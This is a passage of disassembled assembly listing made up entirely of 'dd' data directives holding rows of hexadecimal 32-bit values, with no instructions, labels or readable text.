		dd 0C943F5DEh, 9D178147h, 5EDC7832h, 6F74131Dh,	0F2C80571h
		dd 57569EFBh, 5F2B89ECh, 0FD3A4B47h, 9719A256h,	1301AF1Ch
		dd 0E73BAF93h, 0E917ACAAh, 0D052610Dh, 0A913E07Ah, 2BBCC4BEh
		dd 0F86473F2h, 0A4F272D3h, 84469B60h, 0EFB519C0h, 241E8A96h
		dd 2C14CA5Ah, 3767DE87h, 0C3577B7Fh, 0EB44E3A3h, 0B033789Dh
		dd 4A404EF2h, 54257F2Ch, 7F95572Bh, 0E8A80CC7h,	348CB751h
		dd 4C624D7Fh, 8641591Ch, 0C477D11Ah, 0B038BDCFh, 71B13656h
		dd 471145DBh, 55267BABh, 7E3675FAh, 31F777D8h, 0E459BAE0h
		dd 9B39E076h, 48D6276Dh, 0BB551910h, 2B6AF399h,	0D6E96E02h
		dd 4A1C1FC5h, 70683851h, 5109254Fh, 99DC0D64h, 104972E8h
		dd 9F2BE365h, 344A3FE6h, 0D8DC5169h, 0F353EA27h, 151D442Dh
		dd 986B317Ah, 922829F6h, 2753289h, 7DE5EC3Fh, 7711C721h
		dd 0ADC4EB5Ch, 0D359A6C8h, 0B7072A43h, 0E561BABAh, 0EBF87FBAh
		dd 46D0F838h, 2EFADE2Fh, 0FE141E5Eh, 0C1F31CD2h, 0A78A6FBFh
		dd 221740C0h, 5526D907h, 0B607DDB4h, 0DB5EF1D9h, 0A310FD20h
		dd 0FE01BF60h, 91F0F240h, 0A67FBC6h, 0CC86C788h, 0A473F191h
		dd 9E467811h, 0BB4C3AD0h, 0B314B0CAh, 0E05637FBh, 4DBCE0F9h
		dd 6B178B15h, 3EAC1B4Ah, 6D8205CAh, 417686DAh, 8625E3F2h
		dd 0BC19BF7Eh, 7D1FEC7h, 6B3AAA8Eh, 0F0E66A8Ah,	9234063h
		dd 0CE5F2FBEh, 43FABBCEh, 944C6043h, 0C054FB21h, 0EFC28165h
		dd 0C58EA617h, 0E5BE8707h, 2BA0A128h, 0FF6CFDF7h, 5D7EA32Eh
		dd 3C910FCEh, 0E57FA4DAh, 381EC837h, 117D586Fh,	2D8C1DF4h
		dd 0B110F1D3h, 19739269h, 2D53F3B9h, 6A5AB40h, 0AC36115Ah
		dd 0A36CC4Bh, 9516910Fh
		dd 0B9C55E3Ch, 0C8D17E0Ah, 472179BAh, 8475D2E5h, 117CF80Fh
		dd 0E5A47583h, 0D7DA9FC0h, 0F9E63F22h, 77B9F44Dh, 0DAA7A8F8h
		dd 88569977h, 0E3458BAEh, 7CEBA9Ch, 62A663E5h, 0A36DCD71h
		dd 92164092h, 0F63C9757h, 16DB258Eh, 19C50C55h,	94EF3FD7h
		dd 0C81E792Eh, 0A4F103F0h, 4FF0B5BBh, 756DE0F7h, 6AE659D5h
		dd 227DDC7Dh, 0AAD4B568h, 2DE18DC3h, 0AAD5C5A3h, 13115869h
		dd 0BE4DD87Eh, 0B3F5354h, 0CE360760h, 0EEBA2755h, 0B6873523h
		dd 0D6D50A24h, 4F5E9FFCh, 7C985538h, 58AF33B9h,	15D51734h
		dd 0CA55E7ACh, 4B438AD0h, 1E9CBED2h, 0FC0BE27h,	38627FA3h
		dd 0E503BDBCh, 822ABF14h, 148FE992h, 0DA9754ADh, 241D3DCBh
		dd 747313D8h, 5FC03363h, 45BCC9FBh, 6AF75589h, 0E2596119h
		dd 0ED227BF5h, 1D4BC289h, 0E6EFAF66h, 8AC008FBh, 3643002Bh
		dd 0E1AAAA93h, 0A8FC55Fh, 20BA87E5h, 0D8FB7D97h, 442EADB8h
		dd 0B97E3854h, 330D2884h, 0BD8A2B47h, 0F28801A1h, 6B76533h
		dd 2CF8A292h, 1CBC68D9h, 0B220FC9Bh, 5F68AFF2h,	0E622EA13h
		dd 75576C6Fh, 1BDB152Eh, 51F7B8FDh, 7E7A9E30h, 5A57EEB8h
		dd 0D86EB41Dh, 6380CC3Ch, 2BBA461Fh, 36B2A8DAh,	0F7274DA4h
		dd 0BE5EFA8Ah, 0B0CA8F10h, 47FD4B9Ah, 0B76B6890h, 182221AEh
		dd 5916EE50h, 0E7E278B5h, 0DF2E9E8Ah, 2A772D32h, 0AA606DDBh
		dd 992B0C3Ah, 89722BECh, 2652216h, 0FC76AFE4h, 2BFDEF30h
		dd 85A4C76Ah, 5A958E72h, 7055E72Dh, 5854D626h, 7D1A4066h
		dd 0FB99A960h, 0D7CB227Dh, 0D617EBEh, 6EA0D998h, 26946C8Fh
		dd 0AFF95FD3h, 0CC6C6CE9h, 55F9C214h, 0CA9563B5h, 980CBF97h
		dd 0F4DC3712h, 68A2A3A8h, 5B65638Dh, 0FC6457D7h, 321BBDB0h
		dd 7752A68Ah, 0CAC38E74h, 7D65797Ah, 6573DF22h,	7E5F27C8h
		dd 0E1F41357h, 59BA2B0Bh, 0E608FB3Bh, 6EB01A84h, 0D3F6BEDEh
		dd 0EA7BC10Eh, 93D8AE0Ah, 293A853Ch, 1AFA2D20h,	5C1F1B8Bh
		dd 0AB83A1EEh, 0A11E9F53h, 0EC3A586Dh, 0FD02570Eh, 0AAAFEEA6h
		dd 0FEFD9CE7h, 6018E2D5h, 4EBD6664h, 0A117D4A4h, 95B7E588h
		dd 896F428Bh, 0B065E311h, 65AFEF2Ah, 6896CAABh,	0FE9B03E8h
		dd 0DA28E38Ch, 54D9ADCAh, 0EEF2E07Fh, 0E3446257h, 82AAEFB3h
		dd 67FEA8DFh, 0A82EA932h, 0AD8F1B9Ah, 0FCB9882h, 622F787Fh
		dd 0AC5728B5h, 5125AF3Dh, 303F4F40h, 0B3A8E6Dh,	9A62B1Fh
		dd 0C779617Ch, 128F50F8h, 0FC9D30D6h, 913D9D16h, 0AC96EED1h
		dd 0FC38A7ECh, 0FCF78A5h, 15892709h, 7FB285FDh,	6A394EC5h
		dd 0EC9FEA3Eh, 5DDF890Dh, 0E616EA1Eh, 0F0AD1C92h, 1299C5Eh
		dd 2A7BECA9h, 3D6EF8BCh, 0D88AE80Bh, 0CA8453AFh, 7DAE40A5h
		dd 33419923h, 0ECA7EAFEh, 0ACDA35B5h, 0DC593B9Ch, 323D6746h
		dd 0E2313636h, 0BEDD3291h, 5B387F96h, 47BBD1C6h, 0DFB7C666h
		dd 0F3EB0B50h, 19E6FBBAh, 0F2CC8057h, 89CCA86Ch, 9909807Fh
		dd 78A5F03Dh, 0AFE14A63h, 388E873Ch, 36B5E23Ah,	4EBD265Dh
		dd 491E31B6h, 0BEC445A8h, 77047301h, 0C37DC097h, 0BBCFFBA7h
		dd 0B21C6104h, 157D8338h, 0FD7E5B45h, 0E85DCFA4h, 0EB27DD71h
		dd 0F067EB73h, 0AF54EABCh, 0A4262D13h, 2BBDBB6Eh, 74FD4132h
		dd 0DBC6907Ch, 0D27707C6h, 0F95A6E25h, 8559EAE4h, 0B8B01B94h
		dd 8F8D1607h, 0F958B580h, 0DF354BCDh, 0A629913Fh, 53EC0F0Ah
		dd 6F47A69Bh, 0B3BD76B1h, 0E67B026Dh, 0DF1242F8h, 1538FA3Ch
		dd 5CF78E2h, 0B4FE5DF9h, 0A6CD04A2h, 0BE1E25B5h, 0B08876C4h
		dd 0CE67314Dh, 797D3AF8h, 0A22F303Ch, 53F72EF9h, 0DEC6F7AEh
		dd 0D6697B77h, 28ED40FDh, 73E517DDh, 2760BD7Fh,	0DAAE92E7h
		dd 157B5364h, 6183BE09h, 0CFAA45B7h, 0DDC9C507h, 0E1E344F6h
		dd 6A35CDAAh, 0CFBA97B2h, 0AEB0B78Eh, 0A1E8B872h, 0D132F5FCh
		dd 242E8D4Eh, 0BB6AB059h, 94828817h, 7F55D169h,	403655B1h
		dd 0A7837C8Dh, 0BE6F8CAFh, 0D1CF7C71h, 0AE6A754Ah, 1051FDEFh
		dd 532EF4A1h, 0A09934D8h, 0FF839045h, 4DB06500h, 5940BA47h
		dd 0E7F85DFAh, 507E55E8h, 3FB93C98h, 391293FBh,	81A67283h
		dd 0A91B7C50h, 8CDDFB19h, 6739EA8Ah, 0AE3FAA8Ch, 689FC094h
		dd 0AF04B99Bh, 0FBA8EB7Bh, 2756739Eh, 0AE725864h, 0CF6B4B60h
		dd 453ABEB2h, 9415EB1Dh, 0C8E19403h, 0B4A71D40h, 0B95BCE2Fh
		dd 2651F906h, 0F2AB1774h, 0AB8B7519h, 58E3628Dh, 824317FBh
		dd 3FE861B9h, 0B2E9F179h, 29961A2Eh, 0FD9215DDh, 30E579BAh
		dd 0BD19F3E0h, 91A04A7Fh, 0A4099970h, 9CEDF65Eh, 239E2212h
		dd 0A8FF161Eh, 687E38D8h, 0FA99BA5Ch, 0EB836F2h, 7E3CA677h
		dd 0B208C374h, 40387A2Fh, 5D55AE66h, 1B7DACCh, 512CD329h
		dd 0FF8EDB4h, 3A1DF913h, 74D8E60Fh, 0B6255587h,	3CFD677Bh
		dd 0DB65EF50h, 37A8762Ah, 0F674A96Ch, 91BE682Eh, 2754FF7h
		dd 0EEB5D393h, 89574798h, 0A2EAD388h, 0D84173D7h, 0F0E32E9Ch
		dd 8B6DA045h, 0DE308513h, 0DDC64688h, 89FC3C9Fh, 0D94CAFDBh
		dd 0D2BF00D7h, 51F9100Eh, 71D4E00Ah, 0BB2AE059h, 0B752AAB3h
		dd 0C564EF5Dh, 0AA59230Fh, 0DA9989AAh, 1F2FA3AAh, 0F2A2DF85h
		dd 0AAB8738Dh, 0F58FA1A0h, 13C0B97Dh, 0AFAB3CE6h, 0E3818987h
		dd 0C1636AF5h, 8DA281E8h, 0DDCDFEBCh, 0AAEAB4BAh, 0F0289AB3h
		dd 0C5A527A5h, 4FE0E2DBh, 22EABBABh, 0DFCDF815h, 0BCF04E15h
		dd 0CBB3D47Ch, 4194227Bh, 0C28408FBh, 8A84784Dh, 991C139Bh
		dd 0CDFE3765h, 0D17DF58Ah, 46B92E3h, 58B8380Dh,	0A8BE1BCFh
		dd 6CD6A4C8h, 0FA51739h, 0FBD22F90h, 0D1F33AEBh, 0D29E543Eh
		dd 5EB6F38Fh, 97E1C6F5h, 0B8D24E0Eh, 63F44A89h,	589FDE63h
		dd 0C82E238Dh, 0AFA8759Eh, 677EA7C0h, 40F379D1h, 0BEE92EB0h
		dd 6E0B9E9Ah, 184AAB72h, 7F50BFD6h, 18D46737h, 6E59D008h
		dd 0D26A00Eh, 0E6ADC534h, 0E3B5B543h, 3F1E731Eh, 5666381Fh
		dd 112EB73Dh, 806BBEBBh, 0D18AD4C9h, 0C74DAAA2h, 0D6EDEA2Fh
		dd 2BD7E6EFh, 0CB2B1438h, 0D01749B6h, 0E2ABBE5Bh, 0B6177B42h
		dd 0F07D7325h, 5FB8F1A9h, 99B65115h, 0D3A1F407h, 5D9DDDAAh
		dd 0D8C37401h, 1EDD9A47h, 1AFFF56Dh, 653D0412h,	81F7E3C5h
		dd 3D1C7D23h, 79405AE1h, 2AA82AFCh, 1542912Dh, 0FAD6A659h
		dd 0BA0AE6FAh, 2C662920h, 0CAA3AE39h, 0CEA901CFh, 756E68DDh
		dd 0F8896BD4h, 0E187C33Bh, 0AB4BEE57h, 50FE5E57h, 1351E8B0h
		dd 3CBA978Ah, 8AFE27DAh, 0AAE7FC82h, 577091A8h,	9C50DB60h
		dd 0BFE845BBh, 0E36F2CDBh, 2DA6E64Ah, 40D10CDDh, 8B0107E1h
		dd 7766FFBEh, 0F7C17441h, 38C014F9h, 905AB7E3h,	16DF1F7h
		dd 0BBC5E3E9h, 0E61A3EAAh, 842D08BBh, 97D5000Ch, 0D2D2873Ch
		dd 0C1D7C85h, 4BFABC1Fh, 48F7CE9Fh, 0B9D44324h,	1B44F950h
		dd 376D9B82h, 0AD1EAD05h, 0FF483168h, 6D021F8Fh, 555E1F18h
		dd 0F5CBC5FCh, 4E1B18A0h, 55651275h, 53C9079h, 0DDC0754Eh
		dd 95123D5Dh, 38B4D56Ch, 58E64AABh, 9C3F1DA5h, 0DF97181Fh
		dd 61DB87EDh, 0F848F1E9h, 858A6C62h, 0B2ACA402h, 0AE3DB4AFh
		dd 66B3C051h, 96970799h, 4ECEA907h, 61DEF547h, 67AEE180h
		dd 0FEDECEE4h, 0EA811EAFh, 0D01660A5h, 1D927914h, 0F83888BDh
		dd 51780D9Dh, 45EF0519h, 19D1654Ah, 0B331643Fh,	25FBDB8h
		dd 0E0C2F1FCh, 0BF12B936h, 0FE26A89Ah, 9208A39Eh, 0AA1E761Dh
		dd 26759D2Eh, 0D3F7681h, 0A3D13BACh, 59E24F9Dh,	482E58CDh
		dd 0F98DADDAh, 15D8E30Dh, 200B615Fh, 90D1EF8Dh,	0E1F86152h
		dd 60C2B364h, 697D0C6Dh
		dd 0DD8CBAC5h, 0DF57CAEBh, 9CF0A846h, 1F64C7B9h, 0BC5E5041h
		dd 0BF71B873h, 3277C579h, 4EE6ED15h, 4C244FACh,	5E43BF55h
		dd 31880EA3h, 566F19E8h, 63D239A4h, 346851EDh, 0F0909492h
		dd 5C58E143h, 66E57B93h, 58CBEFF1h, 8EE48AA2h, 0B7733AF1h
		dd 4F8E55B6h, 0EDD47D13h, 1275C208h, 286F6358h,	0F7E86231h
		dd 0AFD4FC1h, 561548FBh, 0C960E083h, 0D0A5F07Fh, 6BA760A7h
		dd 95AA37D1h, 0F1E38320h, 6521C543h, 98ABBA7Ch,	393CB39Dh
		dd 77C58810h, 2B18D5CEh, 2786F250h, 0F1D96965h,	0E07FAB5Dh
		dd 5599A762h, 0F0E4756Fh, 5A2EB143h, 8998EAA8h,	7BD2AA12h
		dd 0A7035E4Ch, 0D5D8292Ah, 663BB9F0h, 0EF678A79h, 0DB9D683Bh
		dd 0D8A7AC5Dh, 39B351A5h, 7AD1EDD3h, 5BF47C87h,	0F2AFBC75h
		dd 75789E6Ch, 6F2F8AA4h, 910744A7h, 8D7D68EAh, 0C2642FF1h
		dd 0B1FD6627h, 0C3EB7956h, 0D51AE460h, 985DA603h, 2FB104A1h
		dd 69AA8E45h, 44F3C0D8h, 6731F41Bh, 8FF7CC15h, 0FD70B81Fh
		dd 0FDD9B9Ah, 3F0755F4h, 0A8EE9EE4h, 261715EEh,	2B334E27h
		dd 0ACBFC518h, 5FC75F92h, 0F83496E9h, 0D111A54Eh, 4162F09Ch
		dd 56A792h, 4AADE5EEh, 0AED05D47h, 42B32AC5h, 167EA1Dh
		dd 879DCB17h, 365BA609h, 9F3ACBD6h, 0E915668Ch,	84FA668Eh
		dd 0CA1F67E1h, 4AEDD8F9h, 8BDD0B44h, 0E1B36904h, 58479C94h
		dd 7FBEA797h, 75DC4EBCh, 7D2A635Dh, 96A63ABCh, 549B168Dh
		dd 2442C7E7h, 1BAA1809h, 0CF85F824h, 3F81DD11h,	0A9AD89B3h
		dd 0CE6E4C33h, 0A7FDD1D5h, 3DCE4611h, 3C79851Fh, 3627C95Ah
		dd 964A666Bh, 5F16566Fh, 856DC318h, 8FA26686h, 0FD1795ABh
		dd 7AFE1101h, 0F5F4E4E1h, 5A05031h, 0E796EABDh,	5B34ACBBh
		dd 7AEAB7FBh, 5ECC98AAh, 0DCA18BA6h, 0FD70279Eh, 0DD8D10AEh
		dd 0CD5AFC85h, 0D5E8687Ah, 0E8C3E0F9h, 0BD53E52Bh, 0D740F175h
		dd 5417479Bh, 561F6BBAh, 0FA63ABECh, 0D67F9574h, 0CE208ACAh
		dd 0C6BE1DEFh, 3C68BB7Ch, 0F3385B3Eh, 0DBE0AE07h, 0F3AA86C2h
		dd 7F40965Ch, 2C2F89F9h, 0C6CA3302h, 51CFA50Fh,	3D8336EEh
		dd 0D8AF76F3h, 746E5E59h, 0E9B2E3BCh, 0A98A424Fh, 0E34E4507h
		dd 15E89CBAh, 0A148984Bh, 6D8E1903h, 0C691173Bh, 9EF9F3BAh
		dd 0F51641C1h, 0B4D546B7h, 0E8CA90A6h, 0FBCC79FAh, 646C1C88h
		dd 8C9914FFh, 0AA86EB21h, 9CDA9CFAh, 2FD339C3h,	13FD34D2h
		dd 0AEACE243h, 6D155A0Ah, 5318044Fh, 3CFCB9C4h,	442FB159h
		dd 0E5B2C50Eh, 0C32F2380h, 0AA3434B0h, 0F8509185h, 32C64022h
		dd 0E0F2FC55h, 1EC9A7C0h, 0DF7AE2D8h, 0E9898D44h, 4E8E978Fh
		dd 0F0F2870Ch, 0C6F0D781h, 0D6FAEEF8h, 5E321C1Ch, 919B6BFFh
		dd 8BA8EE1h, 0BCBA1D94h, 6157E42Dh, 5ABA85E7h, 930F18F9h
		dd 16D1DC1Ah, 0F673C0D5h, 7E9E344Eh, 18BA0B43h,	0FADD98BEh
		dd 955B3330h, 0EEADFB94h, 0FE79E567h, 5794AB2Dh, 1C298D81h
		dd 599DB15Eh, 0EF6AFC45h, 1663A832h, 0E9E7F81Fh, 0FD9D559Eh
		dd 39B00C7Eh, 65F94D9Dh, 39CCE929h, 99F1F07Dh, 627EA0F8h
		dd 197E5982h, 176C37CFh, 4051771Eh, 1760A5A2h, 2EF431BEh
		dd 9DE8CB5Ah, 0C5C11855h, 98EC7514h, 91B2740Bh,	0C416EAD2h
		dd 5F07106h, 7B6E0A92h,	0F0318AEh, 0E809AF14h, 2D7FC2BFh
		dd 906B2F56h, 2E2C5553h, 8288226Ch, 0AE3C5085h,	981752B2h
		dd 0A2EB91FEh, 0D892CE25h, 37F86157h, 5B897232h, 7339DAFDh
		dd 8B79CEC2h, 0BB197964h, 5E3660CAh, 0B91B6EFEh, 0F0FB810h
		dd 9F6B4E34h, 37E868B9h, 0F8B4B36Fh, 0C3546196h, 0B9EED64Fh
		dd 5FD5FA9Ch, 0D578EFA0h, 569028B5h, 0A8523D1h,	78DCFFEEh
		dd 5320AA81h, 71FA6C4Fh, 8B4A4B79h, 7E18AEB2h, 93E243C3h
		dd 228D22FAh, 3C09A4C8h, 0CAEC91BBh, 77F33B1Ch,	168CE469h
		dd 0E5F3683h, 0A691CDBAh, 99208D0Ah, 0F14CCBAEh, 3DA8D7A3h
		dd 77C1DD3Fh, 3E977E39h, 7F76235h, 8F5669C1h, 0AE8AEF0Dh
		dd 9BA1C381h, 8460E86h,	167A64EEh, 37DB9E4Dh, 1ED7AD4Dh
		dd 6EB38CD4h, 0DD59CE5Dh, 287F71FAh, 0EA59AE1h,	87ADA2A7h
		dd 95E98B84h, 7623936Ah, 0CD1FD03h, 0A1553EAAh,	0CBAF91A9h
		dd 60ADF172h, 0B6047907h, 0A41A9486h, 9E7CB63Ah, 0B57728C0h
		dd 0EB86CAA5h, 0E357274Ch, 75D554E9h, 5D3354A8h, 0FE8C41CBh
		dd 0E2AF2FA0h, 50AF00B4h, 0FB5168A2h, 0C9D5BDBAh, 0D691C8E5h
		dd 0ABDD3C37h, 492287AAh, 91ADCC6Bh, 48A750ADh,	0EF668B50h
		dd 0E7504E11h, 0BD3E3938h, 0FEA6700Bh, 2F1E9D71h, 753D6B96h
		dd 5860E78Fh, 62BB57C3h, 9314EC28h, 0A3F7CA13h,	0D8DFAA42h
		dd 0DEE9111Ch, 2E61DB14h, 0A50A0149h, 5F59FCD7h, 6C3694ABh
		dd 297ADBA3h, 35748D49h, 724EEDE7h, 0DF6209B6h,	0E1DBCB7Ah
		dd 0A2637E5Fh, 5C5D47A6h, 91BB1EF4h, 49684BEAh,	0A50AE2F5h
		dd 0E1A31AA6h, 87CFD8EAh, 6F7B3DF2h, 0FC6531F0h, 3977A1B0h
		dd 0CFB24ED8h, 0CC8D1F84h, 0B925A2EAh, 0EBA6B549h, 2B9CB6F7h
		dd 0F5133F5Ah, 10BF4703h, 0FA8ACCECh, 6FC83663h, 3E7FED71h
		dd 4A3BBA49h, 0E2B0CB82h, 0B3C878BCh, 663A8087h, 5BDD9ECDh
		dd 0A94DD439h, 0E3DD1DA9h, 675968BBh, 1DC0EEEBh, 0CCC38C42h
		dd 97E26A33h, 78983DDDh, 6E0A4188h, 286127Dh, 0A1428AFBh
		dd 21DC3A5h, 1F892938h,	10E09F12h, 0E073FC51h, 0BB96F9E0h
		dd 0C6EFCABEh, 727254A1h, 59D51067h, 92D6780Ch,	2516B59h
		dd 0A2336E46h, 1844D2A1h, 9FA5F850h, 1A2E303Ch,	0ADAF53A3h
		dd 0F9D06B59h, 5CA9FF57h, 0FB33573Eh, 97E21A27h, 0EBE0FC44h
		dd 99728F73h, 0FD31B194h, 0BE8CA7A5h, 2FB40A14h, 7EBEC823h
		dd 5BD96793h, 1813CAC5h, 419868B5h, 5BF37D4Dh, 0B6AB467Ah
		dd 6C7AF6AFh, 32E51B72h, 9EE26B93h, 4009AD46h, 0C3AB0185h
		dd 0C9C075CAh, 8E2BC879h, 5C2AF8AAh, 0CE247599h, 0D712A2A0h
		dd 42D156BEh, 86376D52h, 0BA5571C5h, 169AFB3Bh,	0BE525927h
		dd 9EBC3588h, 90AC5E43h, 0CB39248Bh, 0DB58FA7h,	7D6A49DDh
		dd 0ABFE1018h, 8983FAA2h, 73CB2F7Ah, 0E9D36BFAh, 642A33A0h
		dd 732A3C2Bh, 0B66D3CE3h, 36E591C0h, 8D3B5E31h,	32F03D49h
		dd 10958B89h, 0D37FB575h, 0B5BAF40Dh, 2A338EA9h, 4E7B6ACAh
		dd 8B48BAB4h, 8A76D81Dh, 8227AC49h, 585680BFh, 92FEBDFh
		dd 3E30BF19h, 0F57F8812h, 7D9DCB57h, 0E0B1622Eh, 5ACDC1E5h
		dd 0E95439F6h, 0BE523DD9h, 1BA2391Ch, 0E04F3148h, 0E23A6C8Dh
		dd 7D5D9AEDh, 5AC145FFh, 0AAAD6575h, 0F9B257B2h, 30276BD3h
		dd 0BEAEE8F2h, 6ECAA47Ah, 0D9C9A557h, 2BD482Fh,	8427DBE9h
		dd 5BBDBA6h, 0F8C9270h,	0F8D67844h, 0D467D584h,	434C5EF4h
		dd 91B96369h, 9398BCDh,	0E2FE9FDCh, 68989CD3h, 0CB17156Bh
		dd 5EB60E41h, 0CF2C7266h, 0E3BE2A92h, 0B7181A84h, 338EEEF1h
		dd 34362927h, 0D1D6A7C7h, 4A3678BCh, 0A91BAC98h, 7F992197h
		dd 0C08B94AAh, 2C775926h, 0A3EF9BF5h, 4C174A85h, 438344DDh
		dd 0B925A0A7h, 708ABD8Dh, 1056B10Fh, 0DDA98D8Ah, 0D6891F87h
		dd 8EC41317h, 475D9FEEh, 6A54F08Ch, 2AEC7C3h, 14D9F215h
		dd 6F4ADBDBh, 0AC0FF306h, 188F11BCh, 0F30D6F7Dh, 0EAE0E495h
		dd 79607062h, 1BC12E97h, 0AB555355h, 4817DC0Fh,	0EFBE33C6h
		dd 410320E9h, 5887DEF6h, 0B9072827h, 0B3EEE27Dh, 5A82FEB0h
		dd 0E4672CE0h, 0BD2DBACDh, 0D707DB38h, 69225B08h, 64B68D09h
		dd 0F0543F94h, 0EFF3DF5Eh, 9C38D015h, 0AF6EB879h, 0FCE8F977h
		dd 9B18A0FCh, 66F9EB9h
		dd 0F6C4CD5Eh, 0C5568DDCh, 0D53E746Fh, 0AB4AF7FAh, 5E8B1D68h
		dd 0FD699DF9h, 37BFF47Eh, 24755A1h, 4A8C16BEh, 0F0CC5C4Bh
		dd 0ADF7BB71h, 127BB996h, 27595763h, 0B73D2E79h, 7F09D541h
		dd 0C3A218F3h, 8EB125BEh, 9F4DA9B9h, 328B1398h,	0F07D9BE4h
		dd 0DB6B31B1h, 283AAE8Bh, 0FF77D073h, 9959A042h, 0E3BAF60Ah
		dd 0AD685DB5h, 0A0F19762h, 0C73288CDh, 0B248B05Dh, 7639F0E6h
		dd 0D0ABE747h, 0B1F9CD62h, 0CC44B202h, 0D8E422AEh, 61F8AEABh
		dd 45749676h, 0FD89FD46h, 0DF539F00h, 1F45B471h, 0C3614686h
		dd 7274658Ch, 69D75BDDh, 0B6F44D6Bh, 876365F7h,	0F62FB5AFh
		dd 0AA656CDFh, 0FCE0165Dh, 468AFF59h, 0D7B9F1E1h, 236A42FEh
		dd 0EBB70BEEh, 4482004Ah, 0A4A7EBC5h, 3353DC1Eh, 981BA04Ah
		dd 6AB60E05h, 54AA21F8h, 0F5A949ADh, 635B56F8h,	0A777BC05h
		dd 9F0C9A40h, 7B13C6C2h, 33F772ABh, 64E97B3Bh, 0E0291C09h
		dd 0CED11ADDh, 68E22557h, 0B4F40FC1h, 0DE5F2ACCh, 70D4BAA5h
		dd 6ED2E7F6h, 35084D5Dh, 3EFC21FEh, 8AAEE63Ah, 7BE7EC33h
		dd 0BD2731ADh, 60285D3Dh, 5964667Bh, 3B8CD927h,	0D064C4BAh
		dd 0F8325CFDh, 53C63670h, 20E868A6h, 0BE794F4Dh, 6D6DFA3Dh
		dd 645EC43Eh, 1E9DC0F0h, 2A7E9866h, 7356D86Eh, 9667E563h
		dd 0C5F77FADh, 8CE18B53h, 5CD655EAh, 3E0562BBh,	57B7D093h
		dd 0CA7546D1h, 627DF355h, 4F55C6CAh, 1FAB8D5Bh,	0AB846AD1h
		dd 0E466D9B5h, 734ACA87h, 0A768566Dh, 71574312h, 7D7D764h
		dd 0DE4CEADEh, 0F2BA7FBDh, 0ADA417E1h, 0BDED7326h, 7C580E54h
		dd 0E46A731Fh, 3F454886h, 0D3939AA3h, 0E4E186BEh, 38DBA6BFh
		dd 0C3ED2812h, 70B1DAFAh, 1F2CB44Eh, 413F62DCh,	2E253143h
		dd 9AADAC45h, 5FFDFED0h, 7A2A9658h, 0C31FFFEh, 37AA77BAh
		dd 0CA0E4421h, 7B1FF8E4h, 0BE07CF87h, 88CA4A87h, 9F94B891h
		dd 0F06BECF8h, 65C8AA7Eh, 0B5AFF6Dh, 877EAB5Ah,	0B5557C7Ch
		dd 20F391B6h, 12B76195h, 6F74C3F1h, 6E7FD2F0h, 766014ECh
		dd 5EEB0F06h, 20A9C52Dh, 0D0F2D9F7h, 5AEBD955h,	0E5AA9D69h
		dd 8817D433h, 0FB45DB91h, 0F958F149h, 6E6C3A45h, 0FF602D75h
		dd 0DE7CF046h, 536ED750h, 0B31346Dh, 15114754h,	0C6AF7394h
		dd 77E2176Fh, 9710E064h, 9B489356h, 91E82DD5h, 2B18FB20h
		dd 0B36FF070h, 19D6F571h, 5D6D15CDh, 357DE107h,	0DB3A7D2Ch
		dd 28E55600h, 0CBEF5BBAh, 0F0EB567Bh, 0A7C2705Ah, 295E3A1Bh
		dd 21424CC4h, 11B368EDh, 53939F57h, 71107B04h, 9BDCD457h
		dd 0AB14A38Fh, 1D82D213h, 0ED919750h, 4BF054B6h, 30F0B4A3h
		dd 0A42AA1C1h, 0CAA8A212h, 0BC41BF8h, 19939DBBh, 0B68DA8B4h
		dd 568E475Eh, 5D45F6C6h, 2B5AE274h, 0DE9B5793h,	23E33B7Dh
		dd 93CE5Ah, 6F7B54C6h, 332DFD71h, 0EA9D24F2h, 6D642A4Bh
		dd 0F9E28AC1h, 5D603A72h, 9F61299Ch, 0B8F1A278h, 3568D11Dh
		dd 0C243E731h, 98F38574h, 0C853F0D0h, 0A52AFB15h, 248520Dh
		dd 0D41EFDC3h, 0BF8389AFh, 0A90FF348h, 0F24BAD0Ah, 427C545h
		dd 0E5D9338Eh, 0C65A03E8h, 2EBBE4BBh, 50D8186Ch, 52393CBEh
		dd 7489E540h, 0E3299A80h, 3ED0FB8Ch, 0F64B04D9h, 3A83286Eh
		dd 535B2387h, 94624B19h, 76BAAB12h, 2AA0C7CBh, 61AD09EBh
		dd 3526DAD7h, 444F152Dh, 7199C0AAh, 69695682h, 881F50D0h
		dd 8F81B8B6h, 81076C95h, 999F5581h, 0A7E9164Dh,	0E0345B02h
		dd 49931B87h, 42D13856h, 0F4703E7Dh, 0E2B3A0A6h, 0E87C4A14h
		dd 0A975DFE4h, 8AA20D0h, 9DF80198h, 5A82E2D6h, 0CFE2DF52h
		dd 5A29B3A7h, 3225DF4Bh, 0CD2B89BEh, 0AFEC18C9h, 0C0ADF7E9h
		dd 0AF1E5AAFh, 0C9634138h, 6F2F51D7h, 27873C60h, 97BA64FAh
		dd 3528B789h, 24967912h, 20DB7E22h, 335520FBh, 0E64A8DCDh
		dd 93353044h, 0A16F12BFh, 0E46B2F56h, 2E3ADB52h, 0AA45D2FBh
		dd 0C87D8F1Bh, 0F6D9FB83h, 1243E66h, 6E75978Fh,	4A990A1Eh
		dd 9685945Dh, 72283B8Ch, 0F0A82ADEh, 9AAAA3CAh,	7FDE26Eh
		dd 7D87943Ah, 68150748h, 7FDDA19Ah, 3625FCF1h, 0D7A30ED4h
		dd 88B88730h, 0D10B07DDh, 44DD262Ch, 0F65C5282h, 105940D7h
		dd 0DBCB32EDh, 81A37291h, 0A11DF4CFh, 4543A83Ah, 9E812D7Ch
		dd 52974D83h, 7EA3F021h, 0BE5CC499h, 0D606B291h, 7D5AFAC3h
		dd 2265B14Dh, 8D5BA495h, 278FDBD7h, 0F96B935Eh,	181E8366h
		dd 2C779400h, 7AEC74A7h, 0F3377CB7h, 770943F0h,	3EB267FCh
		dd 5A3719FEh, 2F9C5AA9h, 0B5079609h, 998B1B7Fh,	0C22F6D3Eh
		dd 0F91D8A80h, 0B8840FC1h, 1F1D8CADh, 7F1A6654h, 0ADB35A8Bh
		dd 0F477F714h, 8A6D5086h, 0A9A8D424h, 0D47F05B3h, 2F86F9EAh
		dd 9BF2D2E7h, 8AFDCF8Dh, 0AF973BF5h, 0BF1F5DB4h, 0AD491AD4h
		dd 21D703EFh, 8CEA4E55h, 3D8880C1h, 1C5FAC7Ah, 0D88AC70Ah
		dd 25B1D32Ah, 0DCB622A3h, 1432B3E5h, 5F421E6Ch,	90491F9Fh
		dd 395B0D85h, 57E02FEEh, 96E02BF2h, 9E892D8Dh, 0EA7878FDh
		dd 0F0056D32h, 3B461225h, 84876251h, 5D2A2E2Bh,	0A9BD2AF2h
